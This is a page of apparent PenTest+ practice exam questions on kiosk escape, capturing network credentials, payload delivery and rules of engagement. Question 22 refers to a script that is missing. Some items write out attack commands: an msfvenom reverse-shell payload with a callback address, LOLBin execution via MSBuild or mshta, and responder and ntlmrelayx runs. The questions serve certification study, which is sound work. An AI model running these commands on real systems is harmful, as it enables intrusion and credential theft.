PT0-003 Practice Test

PT0-003 Practice Test practice questions, page 5 of 14, with answer review and explanations.

Question 21

A penetration tester is evaluating a SCADA system. The tester receives local access to a workstation that is running a single application. While navigating through the application, the tester opens a terminal window and gains access to the underlying operating system. Which of the following attacks is the tester performing?

  1. Kiosk escape
  2. Arbitrary code execution
  3. Process hollowing
  4. Library injection

Question 22

Given the following script: Which of the following is the penetration tester most likely trying to do?

  1. Change the system's wallpaper based on the current user's preferences.
  2. Capture the administrator's password and transmit it to a remote server.
  3. Conditionally stage and execute a remote script.
  4. Log the internet browsing history for a systems administrator.

Question 23

A penetration tester needs to collect information transmitted over the network for further steps in an internal assessment. Which of the following would most likely accomplish this goal?

  1. ntlmrelayx.py -t 192.168.1.0/24 -l 1234
  2. nc -tulpn 1234 192.168.1.2
  3. responder.py -I eth0 -wP
  4. crackmapexec smb 192.168.1.0/24 -u "user" -p "pass123"

Question 24

A tester plans to perform an attack technique over a compromised host. The tester prepares a payload using the following command: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.12.12.1 LPORT=10112 -f csharp The tester then takes the shellcode from the msfvenom command and creates a file called evil.xml. Which of the following commands would most likely be used by the tester to continue with the attack on the host?

  1. regsvr32 /s /n /u C:\evil.xml
  2. MSBuild.exe C:\evil.xml
  3. mshta.exe C:\evil.xml
  4. AppInstaller.exe C:\evil.xml

Question 25

A penetration tester is developing the rules of engagement for a potential client. Which of the following would most likely be specified in the rules of engagement?

  1. Testing window
  2. Terms of service
  3. Authorization letter
  4. Shared responsibilities